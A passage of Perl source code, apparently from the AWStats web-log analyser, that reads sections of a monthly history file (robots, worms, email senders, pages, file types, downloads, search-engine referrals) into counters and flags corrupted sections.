"History file \"$filetoread\" is corrupted (End of section UNKNOWNREFERER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
4755
                                                "", "", 1
 
4756
                                        );
 
4757
                                }
 
4758
                                if ($Debug) {
 
4759
                                        debug(
 
4760
" End of UNKNOWNREFERER section ($count entries, $countloaded loaded)"
 
4761
                                        );
 
4762
                                }
 
4763
                                delete $SectionsToLoad{'unknownreferer'};
 
4764
                                if ( $SectionsToSave{'unknownreferer'} ) {
 
4765
                                        Save_History( 'unknownreferer', $year, $month, $date );
 
4766
                                        delete $SectionsToSave{'unknownreferer'};
 
4767
                                        if ($withpurge) { %_unknownreferer_l = (); }
 
4768
                                }
 
4769
                                if ( !scalar %SectionsToLoad ) {
 
4770
                                        debug(" Stop reading history file. Got all we need.");
 
4771
                                        last;
 
4772
                                }
 
4773
                                next;
 
4774
                        }
 
4775
 
 
4776
                        # BEGIN_UNKNOWNREFERERBROWSER
 
4777
                        if ( $field[0] eq 'BEGIN_UNKNOWNREFERERBROWSER' ) {
 
4778
                                if ($Debug) {
 
4779
                                        debug(" Begin of UNKNOWNREFERERBROWSER section");
 
4780
                                }
 
4781
                                $field[0] = '';
 
4782
                                my $count       = 0;
 
4783
                                my $countloaded = 0;
 
4784
                                do {
 
4785
                                        if ( $field[0] ) {
 
4786
                                                $count++;
 
4787
                                                if ( $SectionsToLoad{'unknownrefererbrowser'} ) {
 
4788
                                                        $countloaded++;
 
4789
                                                        if ( !$_unknownrefererbrowser_l{ $field[0] } ) {
 
4790
                                                                $_unknownrefererbrowser_l{ $field[0] } =
 
4791
                                                                  int( $field[1] );
 
4792
                                                        }
 
4793
                                                }
 
4794
                                        }
 
4795
                                        $_ = <HISTORY>;
 
4796
                                        chomp $_;
 
4797
                                        s/\r//;
 
4798
                                        @field =
 
4799
                                          split( /\s+/,
 
4800
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
4801
                                        $countlines++;
 
4802
                                  } until ( $field[0] eq 'END_UNKNOWNREFERERBROWSER'
 
4803
                                          || $field[0] eq "${xmleb}END_UNKNOWNREFERERBROWSER"
 
4804
                                          || !$_ );
 
4805
                                if (   $field[0] ne 'END_UNKNOWNREFERERBROWSER'
 
4806
                                        && $field[0] ne "${xmleb}END_UNKNOWNREFERERBROWSER" )
 
4807
                                {
 
4808
                                        error(
 
4809
"History file \"$filetoread\" is corrupted (End of section UNKNOWNREFERERBROWSER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
4810
                                                "", "", 1
 
4811
                                        );
 
4812
                                }
 
4813
                                if ($Debug) {
 
4814
                                        debug(
 
4815
" End of UNKNOWNREFERERBROWSER section ($count entries, $countloaded loaded)"
 
4816
                                        );
 
4817
                                }
 
4818
                                delete $SectionsToLoad{'unknownrefererbrowser'};
 
4819
                                if ( $SectionsToSave{'unknownrefererbrowser'} ) {
 
4820
                                        Save_History( 'unknownrefererbrowser',
 
4821
                                                $year, $month, $date );
 
4822
                                        delete $SectionsToSave{'unknownrefererbrowser'};
 
4823
                                        if ($withpurge) { %_unknownrefererbrowser_l = (); }
 
4824
                                }
 
4825
                                if ( !scalar %SectionsToLoad ) {
 
4826
                                        debug(" Stop reading history file. Got all we need.");
 
4827
                                        last;
 
4828
                                }
 
4829
                                next;
 
4830
                        }
 
4831
 
 
4832
                        # BEGIN_SCREENSIZE
 
4833
                        if ( $field[0] eq 'BEGIN_SCREENSIZE' ) {
 
4834
                                if ($Debug) { debug(" Begin of SCREENSIZE section"); }
 
4835
                                $field[0] = '';
 
4836
                                my $count       = 0;
 
4837
                                my $countloaded = 0;
 
4838
                                do {
 
4839
                                        if ( $field[0] ) {
 
4840
                                                $count++;
 
4841
                                                if ( $SectionsToLoad{'screensize'} ) {
 
4842
                                                        $countloaded++;
 
4843
                                                        if ( $field[1] ) {
 
4844
                                                                $_screensize_h{ $field[0] } += $field[1];
 
4845
                                                        }
 
4846
                                                }
 
4847
                                        }
 
4848
                                        $_ = <HISTORY>;
 
4849
                                        chomp $_;
 
4850
                                        s/\r//;
 
4851
                                        @field =
 
4852
                                          split( /\s+/,
 
4853
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
4854
                                        $countlines++;
 
4855
                                  } until ( $field[0] eq 'END_SCREENSIZE'
 
4856
                                          || $field[0] eq "${xmleb}END_SCREENSIZE"
 
4857
                                          || !$_ );
 
4858
                                if (   $field[0] ne 'END_SCREENSIZE'
 
4859
                                        && $field[0] ne "${xmleb}END_SCREENSIZE" )
 
4860
                                {
 
4861
                                        error(
 
4862
"History file \"$filetoread\" is corrupted (End of section SCREENSIZE not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
4863
                                                "", "", 1
 
4864
                                        );
 
4865
                                }
 
4866
                                if ($Debug) {
 
4867
                                        debug(
 
4868
" End of SCREENSIZE section ($count entries, $countloaded loaded)"
 
4869
                                        );
 
4870
                                }
 
4871
                                delete $SectionsToLoad{'screensize'};
 
4872
                                if ( $SectionsToSave{'screensize'} ) {
 
4873
                                        Save_History( 'screensize', $year, $month, $date );
 
4874
                                        delete $SectionsToSave{'screensize'};
 
4875
                                        if ($withpurge) { %_screensize_h = (); }
 
4876
                                }
 
4877
                                if ( !scalar %SectionsToLoad ) {
 
4878
                                        debug(" Stop reading history file. Got all we need.");
 
4879
                                        last;
 
4880
                                }
 
4881
                                next;
 
4882
                        }
 
4883
 
 
4884
                        # BEGIN_ROBOT
 
4885
                        if ( $field[0] eq 'BEGIN_ROBOT' ) {
 
4886
                                if ($Debug) { debug(" Begin of ROBOT section"); }
 
4887
                                $field[0] = '';
 
4888
                                my $count       = 0;
 
4889
                                my $countloaded = 0;
 
4890
                                do {
 
4891
                                        if ( $field[0] ) {
 
4892
                                                $count++;
 
4893
                                                if ( $SectionsToLoad{'robot'} ) {
 
4894
                                                        $countloaded++;
 
4895
                                                        if ( $field[1] ) {
 
4896
                                                                $_robot_h{ $field[0] } += $field[1];
 
4897
                                                        }
 
4898
                                                        $_robot_k{ $field[0] } += $field[2];
 
4899
                                                        if ( !$_robot_l{ $field[0] } ) {
 
4900
                                                                $_robot_l{ $field[0] } = int( $field[3] );
 
4901
                                                        }
 
4902
                                                        if ( $field[4] ) {
 
4903
                                                                $_robot_r{ $field[0] } += $field[4];
 
4904
                                                        }
 
4905
                                                }
 
4906
                                        }
 
4907
                                        $_ = <HISTORY>;
 
4908
                                        chomp $_;
 
4909
                                        s/\r//;
 
4910
                                        @field =
 
4911
                                          split( /\s+/,
 
4912
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
4913
                                        $countlines++;
 
4914
                                  } until ( $field[0] eq 'END_ROBOT'
 
4915
                                          || $field[0] eq "${xmleb}END_ROBOT"
 
4916
                                          || !$_ );
 
4917
                                if (   $field[0] ne 'END_ROBOT'
 
4918
                                        && $field[0] ne "${xmleb}END_ROBOT" )
 
4919
                                {
 
4920
                                        error(
 
4921
"History file \"$filetoread\" is corrupted (End of section ROBOT not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
4922
                                                "", "", 1
 
4923
                                        );
 
4924
                                }
 
4925
                                if ($Debug) {
 
4926
                                        debug(
 
4927
" End of ROBOT section ($count entries, $countloaded loaded)"
 
4928
                                        );
 
4929
                                }
 
4930
                                delete $SectionsToLoad{'robot'};
 
4931
                                if ( $SectionsToSave{'robot'} ) {
 
4932
                                        Save_History( 'robot', $year, $month, $date );
 
4933
                                        delete $SectionsToSave{'robot'};
 
4934
                                        if ($withpurge) {
 
4935
                                                %_robot_h = ();
 
4936
                                                %_robot_k = ();
 
4937
                                                %_robot_l = ();
 
4938
                                                %_robot_r = ();
 
4939
                                        }
 
4940
                                }
 
4941
                                if ( !scalar %SectionsToLoad ) {
 
4942
                                        debug(" Stop reading history file. Got all we need.");
 
4943
                                        last;
 
4944
                                }
 
4945
                                next;
 
4946
                        }
 
4947
 
 
4948
                        # BEGIN_WORMS
 
4949
                        if ( $field[0] eq 'BEGIN_WORMS' ) {
 
4950
                                if ($Debug) { debug(" Begin of WORMS section"); }
 
4951
                                $field[0] = '';
 
4952
                                my $count       = 0;
 
4953
                                my $countloaded = 0;
 
4954
                                do {
 
4955
                                        if ( $field[0] ) {
 
4956
                                                $count++;
 
4957
                                                if ( $SectionsToLoad{'worms'} ) {
 
4958
                                                        $countloaded++;
 
4959
                                                        if ( $field[1] ) {
 
4960
                                                                $_worm_h{ $field[0] } += $field[1];
 
4961
                                                        }
 
4962
                                                        $_worm_k{ $field[0] } += $field[2];
 
4963
                                                        if ( !$_worm_l{ $field[0] } ) {
 
4964
                                                                $_worm_l{ $field[0] } = int( $field[3] );
 
4965
                                                        }
 
4966
                                                }
 
4967
                                        }
 
4968
                                        $_ = <HISTORY>;
 
4969
                                        chomp $_;
 
4970
                                        s/\r//;
 
4971
                                        @field =
 
4972
                                          split( /\s+/,
 
4973
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
4974
                                        $countlines++;
 
4975
                                  } until ( $field[0] eq 'END_WORMS'
 
4976
                                          || $field[0] eq "${xmleb}END_WORMS"
 
4977
                                          || !$_ );
 
4978
                                if (   $field[0] ne 'END_WORMS'
 
4979
                                        && $field[0] ne "${xmleb}END_WORMS" )
 
4980
                                {
 
4981
                                        error(
 
4982
"History file \"$filetoread\" is corrupted (End of section WORMS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
4983
                                                "", "", 1
 
4984
                                        );
 
4985
                                }
 
4986
                                if ($Debug) {
 
4987
                                        debug(
 
4988
" End of WORMS section ($count entries, $countloaded loaded)"
 
4989
                                        );
 
4990
                                }
 
4991
                                delete $SectionsToLoad{'worms'};
 
4992
                                if ( $SectionsToSave{'worms'} ) {
 
4993
                                        Save_History( 'worms', $year, $month, $date );
 
4994
                                        delete $SectionsToSave{'worms'};
 
4995
                                        if ($withpurge) {
 
4996
                                                %_worm_h = ();
 
4997
                                                %_worm_k = ();
 
4998
                                                %_worm_l = ();
 
4999
                                        }
 
5000
                                }
 
5001
                                if ( !scalar %SectionsToLoad ) {
 
5002
                                        debug(" Stop reading history file. Got all we need.");
 
5003
                                        last;
 
5004
                                }
 
5005
                                next;
 
5006
                        }
 
5007
 
 
5008
                        # BEGIN_EMAILS
 
5009
                        if ( $field[0] eq 'BEGIN_EMAILSENDER' ) {
 
5010
                                if ($Debug) { debug(" Begin of EMAILSENDER section"); }
 
5011
                                $field[0] = '';
 
5012
                                my $count       = 0;
 
5013
                                my $countloaded = 0;
 
5014
                                do {
 
5015
                                        if ( $field[0] ) {
 
5016
                                                $count++;
 
5017
                                                if ( $SectionsToLoad{'emailsender'} ) {
 
5018
                                                        $countloaded++;
 
5019
                                                        if ( $field[1] ) {
 
5020
                                                                $_emails_h{ $field[0] } += $field[1];
 
5021
                                                        }
 
5022
                                                        if ( $field[2] ) {
 
5023
                                                                $_emails_k{ $field[0] } += $field[2];
 
5024
                                                        }
 
5025
                                                        if ( !$_emails_l{ $field[0] } ) {
 
5026
                                                                $_emails_l{ $field[0] } = int( $field[3] );
 
5027
                                                        }
 
5028
                                                }
 
5029
                                        }
 
5030
                                        $_ = <HISTORY>;
 
5031
                                        chomp $_;
 
5032
                                        s/\r//;
 
5033
                                        @field =
 
5034
                                          split( /\s+/,
 
5035
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
5036
                                        $countlines++;
 
5037
                                  } until ( $field[0] eq 'END_EMAILSENDER'
 
5038
                                          || $field[0] eq "${xmleb}END_EMAILSENDER"
 
5039
                                          || !$_ );
 
5040
                                if (   $field[0] ne 'END_EMAILSENDER'
 
5041
                                        && $field[0] ne "${xmleb}END_EMAILSENDER" )
 
5042
                                {
 
5043
                                        error(
 
5044
"History file \"$filetoread\" is corrupted (End of section EMAILSENDER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
5045
                                                "", "", 1
 
5046
                                        );
 
5047
                                }
 
5048
                                if ($Debug) {
 
5049
                                        debug(
 
5050
" End of EMAILSENDER section ($count entries, $countloaded loaded)"
 
5051
                                        );
 
5052
                                }
 
5053
                                delete $SectionsToLoad{'emailsender'};
 
5054
                                if ( $SectionsToSave{'emailsender'} ) {
 
5055
                                        Save_History( 'emailsender', $year, $month, $date );
 
5056
                                        delete $SectionsToSave{'emailsender'};
 
5057
                                        if ($withpurge) {
 
5058
                                                %_emails_h = ();
 
5059
                                                %_emails_k = ();
 
5060
                                                %_emails_l = ();
 
5061
                                        }
 
5062
                                }
 
5063
                                if ( !scalar %SectionsToLoad ) {
 
5064
                                        debug(" Stop reading history file. Got all we need.");
 
5065
                                        last;
 
5066
                                }
 
5067
                                next;
 
5068
                        }
 
5069
 
 
5070
                        # BEGIN_EMAILR
 
5071
                        if ( $field[0] eq 'BEGIN_EMAILRECEIVER' ) {
 
5072
                                if ($Debug) { debug(" Begin of EMAILRECEIVER section"); }
 
5073
                                $field[0] = '';
 
5074
                                my $count       = 0;
 
5075
                                my $countloaded = 0;
 
5076
                                do {
 
5077
                                        if ( $field[0] ) {
 
5078
                                                $count++;
 
5079
                                                if ( $SectionsToLoad{'emailreceiver'} ) {
 
5080
                                                        $countloaded++;
 
5081
                                                        if ( $field[1] ) {
 
5082
                                                                $_emailr_h{ $field[0] } += $field[1];
 
5083
                                                        }
 
5084
                                                        if ( $field[2] ) {
 
5085
                                                                $_emailr_k{ $field[0] } += $field[2];
 
5086
                                                        }
 
5087
                                                        if ( !$_emailr_l{ $field[0] } ) {
 
5088
                                                                $_emailr_l{ $field[0] } = int( $field[3] );
 
5089
                                                        }
 
5090
                                                }
 
5091
                                        }
 
5092
                                        $_ = <HISTORY>;
 
5093
                                        chomp $_;
 
5094
                                        s/\r//;
 
5095
                                        @field =
 
5096
                                          split( /\s+/,
 
5097
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
5098
                                        $countlines++;
 
5099
                                  } until ( $field[0] eq 'END_EMAILRECEIVER'
 
5100
                                          || $field[0] eq "${xmleb}END_EMAILRECEIVER"
 
5101
                                          || !$_ );
 
5102
                                if (   $field[0] ne 'END_EMAILRECEIVER'
 
5103
                                        && $field[0] ne "${xmleb}END_EMAILRECEIVER" )
 
5104
                                {
 
5105
                                        error(
 
5106
"History file \"$filetoread\" is corrupted (End of section EMAILRECEIVER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
5107
                                                "", "", 1
 
5108
                                        );
 
5109
                                }
 
5110
                                if ($Debug) {
 
5111
                                        debug(
 
5112
" End of EMAILRECEIVER section ($count entries, $countloaded loaded)"
 
5113
                                        );
 
5114
                                }
 
5115
                                delete $SectionsToLoad{'emailreceiver'};
 
5116
                                if ( $SectionsToSave{'emailreceiver'} ) {
 
5117
                                        Save_History( 'emailreceiver', $year, $month, $date );
 
5118
                                        delete $SectionsToSave{'emailreceiver'};
 
5119
                                        if ($withpurge) {
 
5120
                                                %_emailr_h = ();
 
5121
                                                %_emailr_k = ();
 
5122
                                                %_emailr_l = ();
 
5123
                                        }
 
5124
                                }
 
5125
                                if ( !scalar %SectionsToLoad ) {
 
5126
                                        debug(" Stop reading history file. Got all we need.");
 
5127
                                        last;
 
5128
                                }
 
5129
                                next;
 
5130
                        }
 
5131
 
 
5132
                        # BEGIN_SIDER
 
5133
                        if ( $field[0] eq 'BEGIN_SIDER' ) {
 
5134
                                if ($Debug) { debug(" Begin of SIDER section"); }
 
5135
                                $field[0] = '';
 
5136
                                my $count       = 0;
 
5137
                                my $countloaded = 0;
 
5138
                                do {
 
5139
                                        if ( $field[0] ) {
 
5140
                                                $count++;
 
5141
                                                if ( $SectionsToLoad{'sider'} ) {
 
5142
                                                        my $loadrecord = 0;
 
5143
                                                        if ($withupdate) {
 
5144
                                                                $loadrecord = 1;
 
5145
                                                        }
 
5146
                                                        else {
 
5147
                                                                if ( $HTMLOutput{'main'} ) {
 
5148
                                                                        if ( $MonthRequired eq 'all' ) {
 
5149
                                                                                $loadrecord = 1;
 
5150
                                                                        }
 
5151
                                                                        else {
 
5152
                                                                                if (
 
5153
                                                                                        $countloaded < $MaxNbOf{'PageShown'}
 
5154
                                                                                        && $field[1] >= $MinHit{'File'} )
 
5155
                                                                                {
 
5156
                                                                                        $loadrecord = 1;
 
5157
                                                                                }
 
5158
                                                                                $TotalDifferentPages++;
 
5159
                                                                        }
 
5160
                                                                }
 
5161
                                                                else
 
5162
                                                                { # This is for $HTMLOutput = urldetail, urlentry or urlexit
 
5163
                                                                        if ( $MonthRequired eq 'all' ) {
 
5164
                                                                                if (
 
5165
                                                                                        (
 
5166
                                                                                                !$FilterIn{'url'}
 
5167
                                                                                                || $field[0] =~
 
5168
                                                                                                /$FilterIn{'url'}/
 
5169
                                                                                        )
 
5170
                                                                                        && ( !$FilterEx{'url'}
 
5171
                                                                                                || $field[0] !~
 
5172
                                                                                                /$FilterEx{'url'}/ )
 
5173
                                                                                  )
 
5174
                                                                                {
 
5175
                                                                                        $loadrecord = 1;
 
5176
                                                                                }
 
5177
                                                                        }
 
5178
                                                                        else {
 
5179
                                                                                if (
 
5180
                                                                                        (
 
5181
                                                                                                !$FilterIn{'url'}
 
5182
                                                                                                || $field[0] =~
 
5183
                                                                                                /$FilterIn{'url'}/
 
5184
                                                                                        )
 
5185
                                                                                        && ( !$FilterEx{'url'}
 
5186
                                                                                                || $field[0] !~
 
5187
                                                                                                /$FilterEx{'url'}/ )
 
5188
                                                                                        && $field[1] >= $MinHit{'File'}
 
5189
                                                                                  )
 
5190
                                                                                {
 
5191
                                                                                        $loadrecord = 1;
 
5192
                                                                                }
 
5193
                                                                                $TotalDifferentPages++;
 
5194
                                                                        }
 
5195
                                                                }
 
5196
 
 
5197
# Posssibilite de mettre if ($FilterIn{'url'} && $field[0] =~ /$FilterIn{'url'}/) mais il faut gerer TotalPages de la meme maniere
 
5198
                                                                $TotalBytesPages += ( $field[2] || 0 );
 
5199
                                                                $TotalEntries    += ( $field[3] || 0 );
 
5200
                                                                $TotalExits      += ( $field[4] || 0 );
 
5201
                                                        }
 
5202
                                                        if ($loadrecord) {
 
5203
                                                                if ( $field[1] ) {
 
5204
                                                                        $_url_p{ $field[0] } += $field[1];
 
5205
                                                                }
 
5206
                                                                if ( $field[2] ) {
 
5207
                                                                        $_url_k{ $field[0] } += $field[2];
 
5208
                                                                }
 
5209
                                                                if ( $field[3] ) {
 
5210
                                                                        $_url_e{ $field[0] } += $field[3];
 
5211
                                                                }
 
5212
                                                                if ( $field[4] ) {
 
5213
                                                                        $_url_x{ $field[0] } += $field[4];
 
5214
                                                                }
 
5215
                                                                $countloaded++;
 
5216
                                                        }
 
5217
                                                }
 
5218
                                        }
 
5219
                                        $_ = <HISTORY>;
 
5220
                                        chomp $_;
 
5221
                                        s/\r//;
 
5222
                                        @field =
 
5223
                                          split( /\s+/,
 
5224
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
5225
                                        $countlines++;
 
5226
                                  } until ( $field[0] eq 'END_SIDER'
 
5227
                                          || $field[0] eq "${xmleb}END_SIDER"
 
5228
                                          || !$_ );
 
5229
                                if (   $field[0] ne 'END_SIDER'
 
5230
                                        && $field[0] ne "${xmleb}END_SIDER" )
 
5231
                                {
 
5232
                                        error(
 
5233
"History file \"$filetoread\" is corrupted (End of section SIDER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
5234
                                                "", "", 1
 
5235
                                        );
 
5236
                                }
 
5237
                                if ($Debug) {
 
5238
                                        debug(
 
5239
" End of SIDER section ($count entries, $countloaded loaded)"
 
5240
                                        );
 
5241
                                }
 
5242
                                delete $SectionsToLoad{'sider'};
 
5243
 
 
5244
# WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR
 
5245
#if ($SectionsToSave{'sider'}) {
 
5246
#       Save_History('sider',$year,$month,$date); delete $SectionsToSave{'sider'};
 
5247
#       if ($withpurge) { %_url_p=(); %_url_k=(); %_url_e=(); %_url_x=(); }
 
5248
#}
 
5249
                                if ( !scalar %SectionsToLoad ) {
 
5250
                                        debug(" Stop reading history file. Got all we need.");
 
5251
                                        last;
 
5252
                                }
 
5253
                                next;
 
5254
                        }
 
5255
 
 
5256
                        # BEGIN_FILETYPES
 
5257
                        if ( $field[0] eq 'BEGIN_FILETYPES' ) {
 
5258
                                if ($Debug) { debug(" Begin of FILETYPES section"); }
 
5259
                                $field[0] = '';
 
5260
                                my $count       = 0;
 
5261
                                my $countloaded = 0;
 
5262
                                do {
 
5263
                                        if ( $field[0] ) {
 
5264
                                                $count++;
 
5265
                                                if ( $SectionsToLoad{'filetypes'} ) {
 
5266
                                                        $countloaded++;
 
5267
                                                        if ( $field[1] ) {
 
5268
                                                                $_filetypes_h{ $field[0] } += $field[1];
 
5269
                                                        }
 
5270
                                                        if ( $field[2] ) {
 
5271
                                                                $_filetypes_k{ $field[0] } += $field[2];
 
5272
                                                        }
 
5273
                                                        if ( $field[3] ) {
 
5274
                                                                $_filetypes_gz_in{ $field[0] } += $field[3];
 
5275
                                                        }
 
5276
                                                        if ( $field[4] ) {
 
5277
                                                                $_filetypes_gz_out{ $field[0] } += $field[4];
 
5278
                                                        }
 
5279
                                                }
 
5280
                                        }
 
5281
                                        $_ = <HISTORY>;
 
5282
                                        chomp $_;
 
5283
                                        s/\r//;
 
5284
                                        @field =
 
5285
                                          split( /\s+/,
 
5286
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
5287
                                        $countlines++;
 
5288
                                  } until ( $field[0] eq 'END_FILETYPES'
 
5289
                                          || $field[0] eq "${xmleb}END_FILETYPES"
 
5290
                                          || !$_ );
 
5291
                                if (   $field[0] ne 'END_FILETYPES'
 
5292
                                        && $field[0] ne "${xmleb}END_FILETYPES" )
 
5293
                                {
 
5294
                                        error(
 
5295
"History file \"$filetoread\" is corrupted (End of section FILETYPES not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
5296
                                                "", "", 1
 
5297
                                        );
 
5298
                                }
 
5299
                                if ($Debug) {
 
5300
                                        debug(
 
5301
" End of FILETYPES section ($count entries, $countloaded loaded)"
 
5302
                                        );
 
5303
                                }
 
5304
                                delete $SectionsToLoad{'filetypes'};
 
5305
                                if ( $SectionsToSave{'filetypes'} ) {
 
5306
                                        Save_History( 'filetypes', $year, $month, $date );
 
5307
                                        delete $SectionsToSave{'filetypes'};
 
5308
                                        if ($withpurge) {
 
5309
                                                %_filetypes_h      = ();
 
5310
                                                %_filetypes_k      = ();
 
5311
                                                %_filetypes_gz_in  = ();
 
5312
                                                %_filetypes_gz_out = ();
 
5313
                                        }
 
5314
                                }
 
5315
                                if ( !scalar %SectionsToLoad ) {
 
5316
                                        debug(" Stop reading history file. Got all we need.");
 
5317
                                        last;
 
5318
                                }
 
5319
                                next;
 
5320
                        }
 
5321
 
 
5322
                        # BEGIN_DOWNLOADS
 
5323
                        if ( $field[0] eq 'BEGIN_DOWNLOADS' ) {
 
5324
                                if ($Debug) {
 
5325
                                        debug(" Begin of DOWNLOADS section");
 
5326
                                }
 
5327
                                $field[0] = '';
 
5328
                                my $count       = 0;
 
5329
                                my $counttoload = int($field[1]);
 
5330
                                my $countloaded = 0;
 
5331
                                do {
 
5332
                                        if ( $field[0] ) {
 
5333
                                                $count++;
 
5334
                                                if ( $SectionsToLoad{'downloads'}) {
 
5335
                                                        $countloaded++;
 
5336
                                                        $_downloads{$field[0]}->{'AWSTATS_HITS'} += int( $field[1] );
 
5337
                                                        $_downloads{$field[0]}->{'AWSTATS_206'} += int( $field[2] );
 
5338
                                                        $_downloads{$field[0]}->{'AWSTATS_SIZE'} += int( $field[3] );   
 
5339
                                                }
 
5340
                                        }
 
5341
                                        $_ = <HISTORY>;
 
5342
                                        chomp $_;
 
5343
                                        s/\r//;
 
5344
                                        @field =
 
5345
                                          split( /\s+/,
 
5346
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
5347
                                        $countlines++;
 
5348
                                  } until ( $field[0] eq 'END_DOWNLOADS'
 
5349
                                          || $field[0] eq "${xmleb}END_DOWNLOADS"
 
5350
                                          || !$_ );
 
5351
                                if (   $field[0] ne 'END_DOWNLOADS'
 
5352
                                        && $field[0] ne "${xmleb}END_DOWNLOADS" )
 
5353
                                {
 
5354
                                        error(
 
5355
"History file \"$filetoread\" is corrupted (End of section DOWNLOADS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
5356
                                                "", "", 1
 
5357
                                        );
 
5358
                                }
 
5359
                                if ($Debug) {
 
5360
                                        debug(
 
5361
" End of DOWNLOADS section ($count entries, $countloaded loaded)"
 
5362
                                        );
 
5363
                                }
 
5364
                                delete $SectionsToLoad{'downloads'};
 
5365
                                if ( $SectionsToSave{'downloads'} ) {
 
5366
                                        Save_History( 'downloads',
 
5367
                                                $year, $month, $date );
 
5368
                                        delete $SectionsToSave{'downloads'};
 
5369
                                        if ($withpurge) { %_downloads = (); }
 
5370
                                }
 
5371
                                if ( !scalar %SectionsToLoad ) {
 
5372
                                        debug(" Stop reading history file. Got all we need.");
 
5373
                                        last;
 
5374
                                }
 
5375
                                next;
 
5376
                        }
 
5377
 
 
5378
                        # BEGIN_SEREFERRALS
 
5379
                        if ( $field[0] eq 'BEGIN_SEREFERRALS' ) {
 
5380
                                if ($Debug) { debug(" Begin of SEREFERRALS section"); }
 
5381
                                $field[0] = '';
 
5382
                                my $count       = 0;
 
5383
                                my $countloaded = 0;
 
5384
                                do {
 
5385
                                        if ( $field[0] ) {
 
5386
                                                $count++;
 
5387
                                                if ( $SectionsToLoad{'sereferrals'} ) {
 
5388
                                                        $countloaded++;
 
5389
                                                        if ( $versionnum < 5004 )
 
5390
                                                        {    # For history files < 5.4
 
5391
                                                                my $se = $field[0];
 
5392
                                                                $se =~ s/\./\\./g;
 
5393
                                                                if ( $SearchEnginesHashID{$se} ) {
 
5394
                                                                        $_se_referrals_h{ $SearchEnginesHashID{$se}
 
5395
                                                                          } += $field[1]
 
5396
                                                                          || 0;
 
5397
                                                                }
 
5398
                                                                else {
 
5399
                                                                        $_se_referrals_h{ $field[0] } += $field[1]
 
5400
                                                                          || 0;
 
5401
                                                                }
 
5402
                                                        }
 
5403
                                                        elsif ( $versionnum < 5091 )
 
5404
                                                        {    # For history files < 5.91
 
5405
                                                                my $se = $field[0];
 
5406
                                                                $se =~ s/\./\\./g;
 
5407
                                                                if ( $SearchEnginesHashID{$se} ) {
 
5408
                                                                        $_se_referrals_p{ $SearchEnginesHashID{$se}
 
5409
                                                                          } += $field[1]
 
5410
                                                                          || 0;
 
5411
                                                                        $_se_referrals_h{ $SearchEnginesHashID{$se}
 
5412
                                                                          } += $field[2]
 
5413
                                                                          || 0;
 
5414
                                                                }
 
5415
                                                                else {
 
5416
                                                                        $_se_referrals_p{ $field[0] } += $field[1]
 
5417
                                                                          || 0;
 
5418
                                                                        $_se_referrals_h{ $field[0] } += $field[2]
 
5419
                                                                          || 0;
 
5420
                                                                }
 
5421
                                                        }
 
5422
                                                        else {
 
5423
                                                                if ( $field[1] ) {
 
5424
                                                                        $_se_referrals_p{ $field[0] } += $field[1];
 
5425
                                                                }
 
5426
                                                                if ( $field[2] ) {
 
5427
                                                                        $_se_referrals_h{ $field[0] } += $field[2];
 
5428
                                                                }
 
5429
                                                        }
 
5430
                                                }
 
5431
                                        }
 
5432
                                        $_ = <HISTORY>;
 
5433
                                        chomp $_;
 
5434
                                        s/\r//;
 
5435
                                        @field =
 
5436
                                          split( /\s+/,
 
5437
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
5438
                                        $countlines++;
 
5439
                                  } until ( $field[0] eq 'END_SEREFERRALS'
 
5440
                                          || $field[0] eq "${xmleb}END_SEREFERRALS"
 
5441
                                          || !$_ );
 
5442
                                if (   $field[0] ne 'END_SEREFERRALS'
 
5443
                                        && $field[0] ne "${xmleb}END_SEREFERRALS" )
 
5444
                                {
 
5445
                                        error(
 
5446
"History file \"$filetoread\" is corrupted (End of section SEREFERRALS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
5447
                                                "", "", 1
 
5448
                                        );
 
5449
                                }
 
5450
                                if ($Debug) {
 
5451
                                        debug(
 
5452
" End of SEREFERRALS section ($count entries, $countloaded loaded)"
 
5453
                                        );
 
5454
                                }
 
5455
                                delete $SectionsToLoad{'sereferrals'};
 
5456
                                if ( $SectionsToSave{'sereferrals'} ) {
 
5457
                                        Save_History( 'sereferrals', $year, $month, $date );
 
5458
                                        delete $SectionsToSave{'sereferrals'};
 
5459
                                        if ($withpurge) {
 
5460
                                                %_se_referrals_p = ();
 
5461
                                                %_se_referrals_h = ();
 
5462
                                        }
 
5463
                                }
 
5464
                                if ( !scalar %SectionsToLoad ) {
 
5465
                                        debug(" Stop reading history file. Got all we need.");
 
5466
                                        last;
 
5467
                                }
 
5468
                                next;
 
5469
                        }
 
5470
 
 
5471
                        # BEGIN_PAGEREFS
 
5472
